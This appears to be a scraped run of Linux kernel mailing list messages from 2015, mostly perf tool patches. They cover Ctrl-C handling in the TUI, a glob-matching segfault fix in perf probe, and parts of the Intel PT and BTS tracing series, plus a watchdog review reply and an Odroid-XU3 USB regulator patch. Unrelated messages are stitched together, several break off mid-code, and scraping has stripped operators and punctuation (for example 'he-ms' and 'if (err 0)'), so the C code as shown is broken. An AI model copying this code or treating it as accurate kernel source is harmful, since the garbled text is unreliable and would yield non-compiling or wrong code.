Em Fri, May 29, 2015 at 09:53:44PM +0900, Namhyung Kim escreveu:
It was inconvenient that perf cannot be quit with SIGINT during
processing samples on TUI especially for large data files.
This was because the first argument of SLang_init_tty(), abort_char,
being 0. The manual says it's the ascii value of the control
character that will be used to generate the interrupt signal [1].
Passing -1 means to use the default value (Ctrl-C).
However, after processing samples, Ctrl-C was used to in other cases as
well - like stepping back from annotate. So recover the original
behavior after processing.
Right, but the way this was implemented it is error prone, I think...
I.e. better would be to enclose whatever section of code we want to be
able to interrupt with control+C with something like:
ui__control_c_terminates(true);
process events, etc.
ui__control_c_terminates(false);
Or some more suitable name, couldn't think right now of any that would
reuse something well established...
The way you implemented it, as soon as we implement a new browser, we
will have to recall this detail to have Control+C working as it always
worked on tools/perf, i.e. not terminating it.
- Arnaldo
[1] http://jedsoft.org/slang/doc/html/cslang-6.html#ss6.1
Signed-off-by: Namhyung Kim namhy...@kernel.org
---
tools/perf/ui/browsers/annotate.c | 4
tools/perf/ui/browsers/hists.c| 4
tools/perf/ui/tui/setup.c | 2 +-
3 files changed, 9 insertions(+), 1 deletion(-)
diff --git a/tools/perf/ui/browsers/annotate.c
b/tools/perf/ui/browsers/annotate.c
index e5250eb2dd57..acb0e23b138e 100644
--- a/tools/perf/ui/browsers/annotate.c
+++ b/tools/perf/ui/browsers/annotate.c
@@ -838,6 +838,10 @@ int map_symbol__tui_annotate(struct map_symbol *ms,
struct perf_evsel *evsel,
int hist_entry__tui_annotate(struct hist_entry *he, struct perf_evsel *evsel,
struct hist_browser_timer *hbt)
{
+ /* reset abort key so that it can get Ctrl-C as a key */
+ SLang_reset_tty();
+ SLang_init_tty(0, 0, 0);
+
return map_symbol__tui_annotate(he-ms, evsel, hbt);
}
diff --git a/tools/perf/ui/browsers/hists.c b/tools/perf/ui/browsers/hists.c
index f981cb8f0158..e64893f2fd7f 100644
--- a/tools/perf/ui/browsers/hists.c
+++ b/tools/perf/ui/browsers/hists.c
@@ -1741,6 +1741,10 @@ static int perf_evsel__hists_browse(struct perf_evsel
*evsel, int nr_events,
if (browser == NULL)
return -1;
+ /* reset abort key so that it can get Ctrl-C as a key */
+ SLang_reset_tty();
+ SLang_init_tty(0, 0, 0);
+
if (min_pcnt) {
browser-min_pcnt = min_pcnt;
hist_browser__update_nr_entries(browser);
diff --git a/tools/perf/ui/tui/setup.c b/tools/perf/ui/tui/setup.c
index b77e1d771363..60d1f29b4b50 100644
--- a/tools/perf/ui/tui/setup.c
+++ b/tools/perf/ui/tui/setup.c
@@ -129,7 +129,7 @@ int ui__init(void)
err = SLsmg_init_smg();
if (err 0)
goto out;
- err = SLang_init_tty(0, 0, 0);
+ err = SLang_init_tty(-1, 0, 0);
if (err 0)
goto out;
--
2.4.0
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v3 5/6] Watchdog: introduce ARM SBSA watchdog driver
Fu Wei wrote: This should always be true. Instead of reading WCS, I think you should just panic(). I thinks I need to confirm it , in case this has been cleaned. I don't see how it's possible for you to receive the interrupt and have WCS be cleared. -- Sent by an employee of the Qualcomm Innovation Center, Inc. The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum, hosted by The Linux Foundation. -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf probe: Fix segfault when glob matching function without debuginfo
Em Fri, May 29, 2015 at 09:45:47AM +, Wang Nan escreveu:
Commit 4c859351226c920b227fec040a3b447f0d482af3 (perf probe: Support
glob wildcards for function name) introduces segfault problems when
debuginfo is not available:
# perf probe 'sys_w*'
Added new events:
Segmentation fault
The first problem resides in find_probe_trace_events_from_map(). In
that function, find_probe_functions() is called to match each symbol
against glob to find the number of matching functions, but still use
map__for_each_symbol_by_name() to find 'struct symbol' for matching
functions. Unfortunately, map__for_each_symbol_by_name() does
exact matching by searching in an rbtree. It doesn't know glob
matching, and not easy for it to support it because it use rbtree based
binary search, but we are unable to ensure all names matched by the
glob (any glob passed by user) reside in one subtree.
This patch drops map__for_each_symbol_by_name(). Since there is no
rbtree again, re-matching all symbols costs a lot. This patch avoid it
by saving all matching results into an array (syms).
The second problem is the lost of tp-realname. In
__add_probe_trace_events(), if pev-point.function is glob, the event
name should be set to tev-point.realname. This patch ensures its
existence by strdup sym-name instead of leaving a NULL pointer there.
After this patch:
# perf probe 'sys_w*'
Added new events:
probe:sys_waitid (on sys_w*)
The second part looks strange :-\ Masami?
probe:sys_wait4 (on sys_w*)
probe:sys_waitpid(on sys_w*)
probe:sys_write (on sys_w*)
probe:sys_writev (on sys_w*)
You can now use it in all perf tools, such as:
perf record -e probe:sys_writev -aR sleep 1
Signed-off-by: Wang Nan wangn...@huawei.com
---
tools/perf/util/probe-event.c | 26 +-
1 file changed, 21 insertions(+), 5 deletions(-)
diff --git a/tools/perf/util/probe-event.c b/tools/perf/util/probe-event.c
index 9052e7b..4f1bc78 100644
--- a/tools/perf/util/probe-event.c
+++ b/tools/perf/util/probe-event.c
@@ -2493,7 +2493,8 @@ close_out:
return ret;
}
-static int find_probe_functions(struct map *map, char *name)
+static int find_probe_functions(struct map *map, char *name,
+ struct symbol **syms)
{
int found = 0;
struct symbol *sym;
@@ -2503,8 +2504,11 @@ static int find_probe_functions(struct map *map, char
*name)
return 0;
map__for_each_symbol(map, sym, tmp) {
- if (strglobmatch(sym-name, name))
+ if (strglobmatch(sym-name, name)) {
found++;
+ if (syms found probe_conf.max_probes)
+ syms[found - 1] = sym;
+ }
}
return found;
@@ -2527,11 +2531,12 @@ static int find_probe_trace_events_from_map(struct
perf_probe_event *pev,
struct map *map = NULL;
struct ref_reloc_sym *reloc_sym = NULL;
struct symbol *sym;
+ struct symbol **syms = NULL;
struct probe_trace_event *tev;
struct perf_probe_point *pp = pev-point;
struct probe_trace_point *tp;
int num_matched_functions;
- int ret, i;
+ int ret, i, j;
map = get_target_map(pev-target, pev-uprobes);
if (!map) {
@@ -2539,11 +2544,17 @@ static int find_probe_trace_events_from_map(struct
perf_probe_event *pev,
goto out;
}
+ syms = malloc(sizeof(struct symbol *) * probe_conf.max_probes);
+ if (!syms) {
+ ret = -ENOMEM;
+ goto out;
+ }
+
/*
* Load matched symbols: Since the different local symbols may have
* same name but different addresses, this lists all the symbols.
*/
- num_matched_functions = find_probe_functions(map, pp-function);
+ num_matched_functions = find_probe_functions(map, pp-function, syms);
if (num_matched_functions == 0) {
pr_err(Failed to find symbol %s in %s\n, pp-function,
pev-target ? : kernel);
@@ -2574,7 +2585,9 @@ static int find_probe_trace_events_from_map(struct
perf_probe_event *pev,
ret = 0;
- map__for_each_symbol_by_name(map, pp-function, sym) {
+ for (j = 0; j num_matched_functions; j++) {
+ sym = syms[j];
+
tev = (*tevs) + ret;
tp = tev-point;
if (ret == num_matched_functions) {
@@ -2598,6 +2611,8 @@ static int find_probe_trace_events_from_map(struct
perf_probe_event *pev,
tp-symbol = strdup_or_goto(sym-name, nomem_out);
tp-offset = pp-offset;
}
+ tp-realname = strdup_or_goto(sym-name, nomem_out);
+
tp-retprobe = pp-retprobe;
if (pev-target)
tev-point.module = strdup_or_goto(pev-target,
@@ -2628,6 +2643,7
[PATCH V6 00/17] perf tools: Introduce an abstraction for AUX Area and Instruction Tracing
Hi Here is V6 patches for the introduction of an abstraction for using the AUX area and Instruction tracing. The patches for AUX area support have been applied, just leaving patches for Intel PT and Intel BTS. The patches can also be found here: http://git.infradead.org/users/ahunter/linux-perf.git An example (unchanged from V3) perf.data file and build id archive can be found here: http://git.infradead.org/~ahunter/tfr/ There is also a tar of the 3 most relevant files with debugging symbols. These need to be placed in under the correct paths in /usr/lib/debug to get symbols. Changes in V6: Some minor expansion of commit messages. Patches already applied: perf tools: Disallow PMU events intel_pt and intel_bts until there is support perf db-export: Fix thread ref-counting New patch perf tools: Ensure thread-stack is flushed New patch perf tools: Add Intel PT support Support thread ref-counting perf tools: Add Intel PT decoder Fix a bug: FUP packet in PSB to update last IP perf tools: Take Intel PT into use Add Overview and Quickstart sections to intel_pt.txt perf tools: Add Intel BTS support Add Overview to intel_bts.txt Support thread ref-counting perf tools: Add example call-graph script Add documentation comments to scripts Changes in V5: Patches already applied: perf report: Fix placement of itrace option in documentation perf tools: Add AUX area tracing index perf tools: Hit all build ids when AUX area tracing perf tools: Add build option NO_AUXTRACE to exclude AUX area tracing perf auxtrace: Add option to synthesize events for transactions perf tools: Add support for PERF_RECORD_AUX perf tools: Add support for PERF_RECORD_ITRACE_START perf tools: Add AUX area tracing Snapshot Mode perf record: Add AUX area tracing Snapshot Mode support perf tools: Disallow PMU events intel_pt and intel_bts until there is support New patch perf tools: Add Intel PT decoder Style improvements pointed out by Acme: aligning '=', single line initializing Make use of zalloc() not malloc / memset Make use of zfree Map internal error codes to fixed constants for output Change intel_pt_error_message() to intel_pt__strerror() perf tools: Add Intel PT support Make use of zfree perf tools: Take Intel PT into use Allow intel_pt PMU to be selected as an event perf tools: Add Intel BTS support Allow intel_bts PMU to be selected as an event Make use of zfree Map internal error codes to fixed constants for output Let intel_bts show up in 'perf list' perf tools: Output sample flags and insn_len from intel_bts Map internal error codes to fixed constants for output Changes on V4: perf tools: Amend mmap ref counting for the AUX area mmap Dropped because already applied perf script: Always allow fields 'addr' and 'cpu' for auxtrace Dropped because already applied perf report: Add Instruction Tracing support Dropped because already applied perf report: Fix placement of itrace option in documentation New patch perf tools: Add AUX area tracing index Change size checks for more flexibility i.e. - don't mind if an indexed auxtrace_event is bigger than struct auxtrace_event - don't mind if the auxtrace index does not fill the whole file section Rename 'index' variable to 'ent' to avoid build errors on older gcc perf tools: Add build option NO_AUXTRACE to exclude AUX area tracing Fix whitespace alignment of NO_AUXTRACE=1 Add NO_AUXTRACE=1 to make_minimal perf tools: Add support for PERF_RECORD_AUX Expand commit message perf tools: Add AUX area tracing Snapshot Mode Whitespace fixups perf record: Add AUX area tracing Snapshot Mode support Whitespace fixups Don't init static variables to 0 or NULL perf tools: Add Intel PT packet decoder Whitespace fixups perf tools: Add Intel PT instruction decoder Avoid build error on older (broken) gcc by adding -Wno-override-init Avoid build errors due to funny collate sequences i.e. use LC_COLLATE=C etc perf tools: Add Intel PT decoder Avoid build errors initializing structures to 0 perf tools: Add Intel PT support Avoid build errors initializing structures to 0 Allow for perf_pmu__config_terms() having an extra parameter now Allow for parse_events() having an extra parameter now Rename 'div' variable to 'd' to avoid build errors Whitespace fixup Remove a couple of unused enums perf tools: Add Intel BTS support Avoid build errors initializing structures to 0 Allow for parse_events() having an extra parameter now perf tools: Put itrace options into an asciidoc include New patch Changes in V3: New
[PATCHv2] ARM: dts: odroidxu3: Enable USB3 regulators
Enable regulator for usbdrd3_0 and usbdrd3_1.
Looking at the schematic pin diagram for MAX77802
USB3_0 and USB3_1 is regulated by LDO9 and LD011.
Fix the boot message of failed.
[3.503539] exynos-dwc3 usb@1200: Looking up vdd33-supply from device
tree
[3.503556] exynos-dwc3 usb@1200: Looking up vdd33-supply property in
node /usb@1200 failed
[3.503568] usb@1200 supply vdd33 not found, using dummy regulator
[3.509154] exynos-dwc3 usb@1200: Looking up vdd10-supply from device
tree
[3.509170] exynos-dwc3 usb@1200: Looking up vdd10-supply property in
node /usb@1200 failed
[3.509181] usb@1200 supply vdd10 not found, using dummy regulator
[3.917548] exynos-dwc3 usb@1240: Looking up vdd33-supply from device
tree
[3.917565] exynos-dwc3 usb@1240: Looking up vdd33-supply property in
node /usb@1240 failed
[3.917578] usb@1240 supply vdd33 not found, using dummy regulator
[3.922731] exynos-dwc3 usb@1240: Looking up vdd10-supply from device
tree
[3.922747] exynos-dwc3 usb@1240: Looking up vdd10-supply property in
node /usb@1240 failed
---
This patch is based on Krzysztof github branch work-next/odroid-xu3-s2mps11-irq.
v2 - Fixed the comment.
---
Tested-by: Krzysztof Kozlowski k.kozlow...@samsung.com
Signed-off-by: Anand Moon linux.am...@gmail.com
---
arch/arm/boot/dts/exynos5422-odroidxu3.dts | 10 ++
1 file changed, 10 insertions(+)
diff --git a/arch/arm/boot/dts/exynos5422-odroidxu3.dts
b/arch/arm/boot/dts/exynos5422-odroidxu3.dts
index 27014bb..a353a58 100644
--- a/arch/arm/boot/dts/exynos5422-odroidxu3.dts
+++ b/arch/arm/boot/dts/exynos5422-odroidxu3.dts
@@ -513,3 +513,13 @@
usbdrd_dwc3_1 {
dr_mode = otg;
};
+
+usbdrd3_0 {
+ vdd33-supply = ldo9_reg;
+ vdd10-supply = ldo11_reg;
+};
+
+usbdrd3_1 {
+ vdd33-supply = ldo9_reg;
+ vdd10-supply = ldo11_reg;
+};
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 12/17] perf tools: Output sample flags and insn_len from intel_pt
intel_pt synthesizes samples. Fill in the new flags and insn_len
members with instruction information.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/intel-pt.c | 4
1 file changed, 4 insertions(+)
diff --git a/tools/perf/util/intel-pt.c b/tools/perf/util/intel-pt.c
index 6d66879..9c25bfa 100644
--- a/tools/perf/util/intel-pt.c
+++ b/tools/perf/util/intel-pt.c
@@ -876,6 +876,8 @@ static int intel_pt_synth_branch_sample(struct
intel_pt_queue *ptq)
sample.stream_id = ptq-pt-branches_id;
sample.period = 1;
sample.cpu = ptq-cpu;
+ sample.flags = ptq-flags;
+ sample.insn_len = ptq-insn_len;
if (pt-branches_filter !(pt-branches_filter ptq-flags))
return 0;
@@ -918,6 +920,8 @@ static int intel_pt_synth_instruction_sample(struct
intel_pt_queue *ptq)
sample.stream_id = ptq-pt-instructions_id;
sample.period = ptq-pt-instructions_sample_period;
sample.cpu = ptq-cpu;
+ sample.flags = ptq-flags;
+ sample.insn_len = ptq-insn_len;
if (pt-synth_opts.callchain) {
thread_stack__sample(ptq-thread, ptq-chain,
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 08/17] perf tools: Add Intel PT support
Add support for Intel Processor Trace.
Intel PT support fits within the new auxtrace infrastructure.
Recording is supporting by identifying the Intel PT PMU,
parsing options and setting up events. Decoding is supported
by queuing up trace data by cpu or thread and then decoding
synchronously delivering synthesized event samples into the
session processing for tools to consume.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/arch/x86/util/Build |2 +
tools/perf/arch/x86/util/intel-pt.c | 752 ++
tools/perf/util/Build |1 +
tools/perf/util/intel-pt.c | 1889 +++
tools/perf/util/intel-pt.h | 51 +
5 files changed, 2695 insertions(+)
create mode 100644 tools/perf/arch/x86/util/intel-pt.c
create mode 100644 tools/perf/util/intel-pt.c
create mode 100644 tools/perf/util/intel-pt.h
diff --git a/tools/perf/arch/x86/util/Build b/tools/perf/arch/x86/util/Build
index cfbccc4..1396088 100644
--- a/tools/perf/arch/x86/util/Build
+++ b/tools/perf/arch/x86/util/Build
@@ -6,3 +6,5 @@ libperf-$(CONFIG_DWARF) += dwarf-regs.o
libperf-$(CONFIG_LIBUNWIND) += unwind-libunwind.o
libperf-$(CONFIG_LIBDW_DWARF_UNWIND) += unwind-libdw.o
+
+libperf-$(CONFIG_AUXTRACE) += intel-pt.o
diff --git a/tools/perf/arch/x86/util/intel-pt.c
b/tools/perf/arch/x86/util/intel-pt.c
new file mode 100644
index 000..da7d2c1
--- /dev/null
+++ b/tools/perf/arch/x86/util/intel-pt.c
@@ -0,0 +1,752 @@
+/*
+ * intel_pt.c: Intel Processor Trace support
+ * Copyright (c) 2013-2015, Intel Corporation.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms and conditions of the GNU General Public License,
+ * version 2, as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ */
+
+#include stdbool.h
+#include linux/kernel.h
+#include linux/types.h
+#include linux/bitops.h
+#include linux/log2.h
+
+#include ../../perf.h
+#include ../../util/session.h
+#include ../../util/event.h
+#include ../../util/evlist.h
+#include ../../util/evsel.h
+#include ../../util/cpumap.h
+#include ../../util/parse-options.h
+#include ../../util/parse-events.h
+#include ../../util/pmu.h
+#include ../../util/debug.h
+#include ../../util/auxtrace.h
+#include ../../util/tsc.h
+#include ../../util/intel-pt.h
+
+#define KiB(x) ((x) * 1024)
+#define MiB(x) ((x) * 1024 * 1024)
+#define KiB_MASK(x) (KiB(x) - 1)
+#define MiB_MASK(x) (MiB(x) - 1)
+
+#define INTEL_PT_DEFAULT_SAMPLE_SIZE KiB(4)
+
+#define INTEL_PT_MAX_SAMPLE_SIZE KiB(60)
+
+#define INTEL_PT_PSB_PERIOD_NEAR 256
+
+struct intel_pt_snapshot_ref {
+ void *ref_buf;
+ size_t ref_offset;
+ bool wrapped;
+};
+
+struct intel_pt_recording {
+ struct auxtrace_record itr;
+ struct perf_pmu *intel_pt_pmu;
+ int have_sched_switch;
+ struct perf_evlist *evlist;
+ boolsnapshot_mode;
+ boolsnapshot_init_done;
+ size_t snapshot_size;
+ size_t snapshot_ref_buf_size;
+ int snapshot_ref_cnt;
+ struct intel_pt_snapshot_ref*snapshot_refs;
+};
+
+static int intel_pt_parse_terms_with_default(struct list_head *formats,
+const char *str,
+u64 *config)
+{
+ struct list_head *terms;
+ struct perf_event_attr attr = { .size = 0, };
+ int err;
+
+ terms = malloc(sizeof(struct list_head));
+ if (!terms)
+ return -ENOMEM;
+
+ INIT_LIST_HEAD(terms);
+
+ err = parse_events_terms(terms, str);
+ if (err)
+ goto out_free;
+
+ attr.config = *config;
+ err = perf_pmu__config_terms(formats, attr, terms, true, NULL);
+ if (err)
+ goto out_free;
+
+ *config = attr.config;
+out_free:
+ parse_events__free_terms(terms);
+ return err;
+}
+
+static int intel_pt_parse_terms(struct list_head *formats, const char *str,
+ u64 *config)
+{
+ *config = 0;
+ return intel_pt_parse_terms_with_default(formats, str, config);
+}
+
+static size_t intel_pt_psb_period(struct perf_pmu *intel_pt_pmu __maybe_unused,
+ struct perf_evlist *evlist __maybe_unused)
+{
+ return 256;
+}
+
+static u64 intel_pt_default_config(struct perf_pmu *intel_pt_pmu)
+{
+ u64 config;
+
+ intel_pt_parse_terms(intel_pt_pmu-format, tsc, config);
+ return config;
+}
+
+static int
[PATCH V6 14/17] perf tools: Intel PT to always update thread stack trace number
The enhanced thread stack is used by higher layers but still requires
the trace number. The trace number is used to distinguish discontinuous
sections of trace (for example from Snapshot mode or Sample mode), which
cause the thread stack to be flushed.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/intel-pt.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/tools/perf/util/intel-pt.c b/tools/perf/util/intel-pt.c
index 9c25bfa..5a59fd8 100644
--- a/tools/perf/util/intel-pt.c
+++ b/tools/perf/util/intel-pt.c
@@ -265,7 +265,7 @@ static int intel_pt_get_trace(struct intel_pt_buffer *b,
void *data)
if (!old_buffer || ptq-pt-sampling_mode || (ptq-pt-snapshot_mode
!buffer-consecutive)) {
b-consecutive = false;
- b-trace_nr = buffer-buffer_nr;
+ b-trace_nr = buffer-buffer_nr + 1;
} else {
b-consecutive = true;
}
@@ -1075,6 +1075,8 @@ static int intel_pt_sample(struct intel_pt_queue *ptq)
thread_stack__event(ptq-thread, ptq-flags, state-from_ip,
state-to_ip, ptq-insn_len,
state-trace_nr);
+ else
+ thread_stack__set_trace_nr(ptq-thread, state-trace_nr);
if (pt-sample_branches) {
err = intel_pt_synth_branch_sample(ptq);
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH V6 11/17] perf tools: Add Intel BTS support
Intel BTS support fits within the new auxtrace infrastructure.
Recording is supporting by identifying the Intel BTS PMU,
parsing options and setting up events. Decoding is supported
by queuing up trace data by thread and then decoding
synchronously delivering synthesized event samples into the
session processing for tools to consume.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/Documentation/intel-bts.txt | 86
tools/perf/arch/x86/util/Build | 1 +
tools/perf/arch/x86/util/auxtrace.c| 49 +-
tools/perf/arch/x86/util/intel-bts.c | 458 +++
tools/perf/arch/x86/util/pmu.c | 3 +
tools/perf/util/Build | 1 +
tools/perf/util/auxtrace.c | 3 +
tools/perf/util/auxtrace.h | 1 +
tools/perf/util/intel-bts.c| 793 +
tools/perf/util/intel-bts.h| 43 ++
tools/perf/util/pmu.c | 4 -
11 files changed, 1436 insertions(+), 6 deletions(-)
create mode 100644 tools/perf/Documentation/intel-bts.txt
create mode 100644 tools/perf/arch/x86/util/intel-bts.c
create mode 100644 tools/perf/util/intel-bts.c
create mode 100644 tools/perf/util/intel-bts.h
diff --git a/tools/perf/Documentation/intel-bts.txt
b/tools/perf/Documentation/intel-bts.txt
new file mode 100644
index 000..8bdc93b
--- /dev/null
+++ b/tools/perf/Documentation/intel-bts.txt
@@ -0,0 +1,86 @@
+Intel Branch Trace Store
+
+
+Overview
+
+
+Intel BTS could be regarded as a predecessor to Intel PT and has some
+similarities because it can also identify every branch a program takes. A
+notable difference is that Intel BTS has no timing information and as a
+consequence the present implementation is limited to per-thread recording.
+
+While decoding Intel BTS does not require walking the object code, the object
+code is still needed to pair up calls and returns correctly, consequently much
+of the Intel PT documentation applies also to Intel BTS. Refer to the Intel PT
+documentation and consider that the PMU 'intel_bts' can usually be used in
+place of 'intel_pt' in the examples provided, with the proviso that per-thread
+recording must also be stipulated i.e. the --per-thread option for
+'perf record'.
+
+
+perf record
+===
+
+new event
+-
+
+The Intel BTS kernel driver creates a new PMU for Intel BTS. The perf record
+option is:
+
+ -e intel_bts//
+
+Currently Intel BTS is limited to per-thread tracing so the --per-thread option
+is also needed.
+
+
+snapshot option
+---
+
+The snapshot option is the same as Intel PT (refer Intel PT documentation).
+
+
+auxtrace mmap size option
+---
+
+The mmap size option is the same as Intel PT (refer Intel PT documentation).
+
+
+perf script
+===
+
+By default, perf script will decode trace data found in the perf.data file.
+This can be further controlled by option --itrace. The --itrace option is
+the same as Intel PT (refer Intel PT documentation) except that neither
+instructions events nor transactions events (and consequently call
+chains) are supported.
+
+To disable trace decoding entirely, use the option --no-itrace.
+
+
+dump option
+---
+
+perf script has an option (-D) to dump the events i.e. display the binary
+data.
+
+When -D is used, Intel BTS packets are displayed.
+
+To disable the display of Intel BTS packets, combine the -D option with
+--no-itrace.
+
+
+perf report
+===
+
+By default, perf report will decode trace data found in the perf.data file.
+This can be further controlled by new option --itrace exactly the same as
+perf script.
+
+
+perf inject
+===
+
+perf inject also accepts the --itrace option in which case tracing data is
+removed and replaced with the synthesized events. e.g.
+
+ perf inject --itrace -i perf.data -o perf.data.new
diff --git a/tools/perf/arch/x86/util/Build b/tools/perf/arch/x86/util/Build
index a8be9f9..2c55e1b 100644
--- a/tools/perf/arch/x86/util/Build
+++ b/tools/perf/arch/x86/util/Build
@@ -10,3 +10,4 @@ libperf-$(CONFIG_LIBDW_DWARF_UNWIND) += unwind-libdw.o
libperf-$(CONFIG_AUXTRACE) += auxtrace.o
libperf-$(CONFIG_AUXTRACE) += intel-pt.o
+libperf-$(CONFIG_AUXTRACE) += intel-bts.o
diff --git a/tools/perf/arch/x86/util/auxtrace.c
b/tools/perf/arch/x86/util/auxtrace.c
index e7654b5..7a78055 100644
--- a/tools/perf/arch/x86/util/auxtrace.c
+++ b/tools/perf/arch/x86/util/auxtrace.c
@@ -13,11 +13,56 @@
*
*/
+#include stdbool.h
+
#include ../../util/header.h
+#include ../../util/debug.h
+#include ../../util/pmu.h
#include ../../util/auxtrace.h
#include ../../util/intel-pt.h
+#include ../../util/intel-bts.h
+#include ../../util/evlist.h
+
+static
+struct auxtrace_record *auxtrace_record__init_intel(struct perf_evlist *evlist,
+ int *err)
+{
+ struct perf_pmu *intel_pt_pmu;
+ struct
[PATCH V6 17/17] perf tools: Add example call-graph script
Add a script to produce a call-graph from data exported
to a postgresql database and derived from a processor trace
event like intel_pt or intel_bts. Refer to comments in the
scripts call-graph-from-postgresql.py and export-to-postgresql.py
for more details.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
.../scripts/python/call-graph-from-postgresql.py | 327 +
tools/perf/scripts/python/export-to-postgresql.py | 47 +++
2 files changed, 374 insertions(+)
create mode 100644 tools/perf/scripts/python/call-graph-from-postgresql.py
diff --git a/tools/perf/scripts/python/call-graph-from-postgresql.py
b/tools/perf/scripts/python/call-graph-from-postgresql.py
new file mode 100644
index 000..e78fdc2
--- /dev/null
+++ b/tools/perf/scripts/python/call-graph-from-postgresql.py
@@ -0,0 +1,327 @@
+#!/usr/bin/python2
+# call-graph-from-postgresql.py: create call-graph from postgresql database
+# Copyright (c) 2014, Intel Corporation.
+#
+# This program is free software; you can redistribute it and/or modify it
+# under the terms and conditions of the GNU General Public License,
+# version 2, as published by the Free Software Foundation.
+#
+# This program is distributed in the hope it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+# more details.
+
+# To use this script you will need to have exported data using the
+# export-to-postgresql.py script. Refer to that script for details.
+#
+# Following on from the example in the export-to-postgresql.py script, a
+# call-graph can be displayed for the pt_example database like this:
+#
+# python tools/perf/scripts/python/call-graph-from-postgresql.py
pt_example
+#
+# Note this script supports connecting to remote databases by setting hostname,
+# port, username, password, and dbname e.g.
+#
+# python tools/perf/scripts/python/call-graph-from-postgresql.py
hostname=myhost username=myuser password=mypassword dbname=pt_example
+#
+# The result is a GUI window with a tree representing a context-sensitive
+# call-graph. Expanding a couple of levels of the tree and adjusting column
+# widths to suit will display something like:
+#
+# Call Graph: pt_example
+# Call Path Object Count Time(ns) Time(%)
Branch Count Branch Count(%)
+# v- ls
+# v- 2638:2638
+# v- _start ld-2.19.so1 10074071 100.0
211135100.0
+# |- unknown unknown 113198 0.1
1 0.0
+# - _dl_start ld-2.19.so1 140098013.9
19637 9.3
+# - _d_linit_internal ld-2.19.so1 448152 4.4
11094 5.3
+# v-__libc_start_main@plt ls1 821174181.5
180397 85.4
+# - _dl_fixup ld-2.19.so1 7607 0.1
108 0.1
+# - __cxa_atexit libc-2.19.so 111737 0.1
10 0.0
+# - __libc_csu_initls110354 0.1
10 0.0
+# |- _setjmplibc-2.19.so 10 0.0
4 0.0
+# v- main ls1 818204399.6
180254 99.9
+#
+# Points to note:
+# The top level is a command name (comm)
+# The next level is a thread (pid:tid)
+# Subsequent levels are functions
+# 'Count' is the number of calls
+# 'Time' is the elapsed time until the function returns
+# Percentages are relative to the level above
+# 'Branch Count' is the total number of branches for that function and all
+# functions that it calls
+
+import sys
+from PySide.QtCore import *
+from PySide.QtGui import *
+from PySide.QtSql import *
+from decimal import *
+
+class TreeItem():
+
+ def __init__(self, db, row, parent_item):
+ self.db = db
+ self.row = row
+ self.parent_item = parent_item
+ self.query_done = False;
+ self.child_count = 0
+ self.child_items = []
+ self.data = [, , , , , , ]
+ self.comm_id = 0
+ self.thread_id = 0
+ self.call_path_id = 1
+ self.branch_count = 0
+ self.time = 0
+ if not parent_item:
+ self.setUpRoot()
+
+ def setUpRoot(self):
+ self.query_done = True
+ query = QSqlQuery(self.db)
+ ret = query.exec_('SELECT id, comm FROM comms')
+ if not ret:
+ raise Exception(Query failed: +
query.lastError().text())
+
[PATCH V6 16/17] perf tools: Put itrace options into an asciidoc include
perf script, report and inject all have the same itrace options. Put them into an asciidoc include file. Signed-off-by: Adrian Hunter adrian.hun...@intel.com --- tools/perf/Documentation/itrace.txt | 22 ++ tools/perf/Documentation/perf-inject.txt | 23 +-- tools/perf/Documentation/perf-report.txt | 23 +-- tools/perf/Documentation/perf-script.txt | 23 +-- 4 files changed, 25 insertions(+), 66 deletions(-) create mode 100644 tools/perf/Documentation/itrace.txt diff --git a/tools/perf/Documentation/itrace.txt b/tools/perf/Documentation/itrace.txt new file mode 100644 index 000..2ff9466 --- /dev/null +++ b/tools/perf/Documentation/itrace.txt @@ -0,0 +1,22 @@ + i synthesize instructions events + b synthesize branches events + c synthesize branches events (calls only) + r synthesize branches events (returns only) + x synthesize transactions events + e synthesize error events + d create a debug log + g synthesize a call chain (use with i or x) + + The default is all events i.e. the same as --itrace=ibxe + + In addition, the period (default 10) for instructions events + can be specified in units of: + + i instructions + t ticks + ms milliseconds + us microseconds + ns nanoseconds (default) + + Also the call chain size (default 16, max. 1024) for instructions or + transactions events can be specified. diff --git a/tools/perf/Documentation/perf-inject.txt b/tools/perf/Documentation/perf-inject.txt index b876ae3..0c721c3 100644 --- a/tools/perf/Documentation/perf-inject.txt +++ b/tools/perf/Documentation/perf-inject.txt @@ -48,28 +48,7 @@ OPTIONS Decode Instruction Tracing data, replacing it with synthesized events. Options are: - i synthesize instructions events - b synthesize branches events - c synthesize branches events (calls only) - r synthesize branches events (returns only) - x synthesize transactions events - e synthesize error events - d create a debug log - g synthesize a call chain (use with i or x) - - The default is all events i.e. the same as --itrace=ibxe - - In addition, the period (default 10) for instructions events - can be specified in units of: - - i instructions - t ticks - ms 